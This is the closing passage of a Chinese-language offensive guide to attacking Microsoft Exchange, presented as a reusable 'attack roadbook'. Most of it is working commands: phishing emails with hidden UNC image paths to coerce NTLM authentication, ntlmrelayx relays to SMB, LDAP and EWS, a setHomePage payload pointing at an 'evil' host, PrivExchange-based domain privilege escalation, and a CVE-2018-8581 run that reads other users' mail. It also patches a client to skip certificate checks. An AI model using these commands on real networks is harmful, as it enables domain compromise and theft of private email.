`# 发送带 UNC 路径的邮件``swaks --server 192.168.60.116 --ehlo island.com --to zhangsan@island.com --from test@island.com --header "Subject:relay_swaks_test" --body '<img src="\\192.168.60.172\blank" style="display:none">this is a msg' --h-X-Mailer: 'Foxmail 7.2.20.273[cn]' --add-header "Content-Type: text/html"`` ``# 发送带 HTTP 路径的邮件``swaks --server 192.168.60.116 --ehlo island.com --to zhangsan@island.com --from test@island.com --header "Subject:relay_swaks_test" --body '<img src="http://relayubuntu/blank" style="display:none">this is a msg' --h-X-Mailer: 'Foxmail 7.2.20.273[cn]' --add-header "Content-Type: text/html"``# Powermad Invoke-DNSUpdate.ps1``# 创建 DNS 记录``Invoke-DNSUpdate -DNSType A -DNSName relayubuntu -DNSData 192.168.60.172`
中继至 smb 时,如果:
1.中继的账户是普通域账户,则无法完成中继。受 Remote UAC 限制,除了以下账户外,其他账户无法网络登录 smb2.中继的账户是域管账户或本地管理员账户,可以完成中继
`# 不加参数,默认 dump 目标 hash``python3 ntlmrelayx.py -t smb://192.168.60.112 -smb2support``python3 ntlmrelayx.py -t smb://192.168.60.112 -smb2support -socks``python3 ntlmrelayx.py -t smb://192.168.60.112 -smb2support -c "whoami"`
中继至 ldap 时,如果:
1.中继的账户是普通域账户,会 dump 域内 ldap 信息2.中继的账户是高权限域账户,会自动尝试 ACL 提权
需要注意的是,smb relay to ldap 默认情况下会开启签名,因此只能 http relay to ldap。
python3 ntlmrelayx.py -t ldap://192.168.60.112 -smb2support
中继至 http 时,如果:
1.中继的账户是普通域用户,可以中继到 Exchange /EWS
接口,实现邮件发送、邮件下载、邮件委托、设置主页等功能2.中继的账户是域管账户,可以尝试 AD CS 提权?
`python2 ntlmRelayToEWS.py -t https://ip/EWS/exchange.asmx -r getFolder -f inbox -v``python2 ntlmRelayToEWS.py -t https://ip/EWS/exchange.asmx -r setHomePage -u http://evil/home.html -v`` ``# 如果报证书认证错误,需要修改 lib/httprelayclient.py 源码``class HTTPRelayClient:` `def __init__(self, target, body):` `......` `......` `if proto.lower() == 'https':` `#Create unverified (insecure) context` `try:` `#uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)` `# uv_context = ssl.create_default_context()` `uv_context = ssl._create_unverified_context() # 把 create_default_context 改成 _create_unverified_context`
实战中邮件委托和设置主页两个功能危害较大。
Exchange 曾爆出过 CVE-2018-8581 SSRF 漏洞,且该 SSRF 请求会带上 NTLM 认证,攻击者可以借此实现中间人。或者,通过 PetitPotam、PetitPotam 等手法实现中间人。再或者,若攻击者拿下了 Exchange 同 C 段的服务器,也可以通过欺骗的方式实现中继。这与钓鱼不同,针对 Exchange 服务器的攻击可以无需用户交互。
前文可知,Exchange 机器账户权限很高,实现中间人后,可以有多种利用手法。
Exchange 机器账户对域分区拥有 WriteDacl
权限,直接通过 ACL 进行提权。
`# 设定订阅``python3 privexchange.py win2012-ex2016.island.com -d island.com -ah 192.168.60.139 -u zhangsan -p ZS@123qwe --debug`` ``# 内网机器上做中继,自动通过 ACL 进行提权``python3 ntlmrelayx.py -t ldap://WIN2012-DC1.island.com --escalate-user zhangsan --no-dump`
本地 NT AUTHORITY\SYSTEM
账户对 Exchange 服务器拥有 ms-Exch-EPI-Token-Serialization
权限,可以在连接 /EWS
接口时修改 SOAP Header
为其他邮箱用户的 SID 来模拟成任何邮箱用户。因此可以中继至 /EWS
接口,实现任意用户的邮件发送、邮件下载、邮件委托、设置主页等功能。
`# 查看本地 NT AUTHORITY\SYSTEM 账户对 Exchange 服务器拥有 ms-Exch-EPI-Token-Serialization 权限``PS C:\> Get-ADPermission -Identity WIN2012-Ex2016 | where {($_.ExtendedRights -like "ms-Exch-EPI-Token-Serialization") -and $_.Deny -like "False"} |fl`` ``# 手动修改 CVE-2018-8581_debug.py 参数后执行``python2 CVE-2018-8581_debug.py`` ``# 然后 zhangsan 可以打卡 lisi 的收件箱文件夹查看其邮件。`
0x05 总结
本文从攻击的各个阶段介绍了 Exchange 的利用手法,重在提供阶段性的指导方法,生成一份可以阅读的攻击路书。
文中不包含漏洞,一是把漏洞加进来文章太长、结构混乱,所以把 Exchange 漏洞专门拿出来写一个专题;二是漏洞与手法不同,漏洞是动态的、频繁爆出的、需要经常更新的,而手法相对固定,"一劳永逸"。
[1]
Exchange Server 内部版本号和发布日期: https://docs.microsoft.com/en-us/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
[2]
MailSniper: https://github.com/acknowledgeHim/MailSniper
[3]
EBurst: https://github.com/grayddq/EBurst
[4]
ruler: https://github.com/sensepost/ruler
[5]
PEAS: https://github.com/FSecureLABS/PEAS
[6]
Powermad: https://github.com/Kevin-Robertson/Powermad
[7]
NtlmRelayToEWS: https://github.com/Arno0x/NtlmRelayToEWS
[8]
privexchange: https://github.com/dirkjanm/privexchange/
[9]
CVE-2018-8581: https://github.com/WyAtu/CVE-2018-8581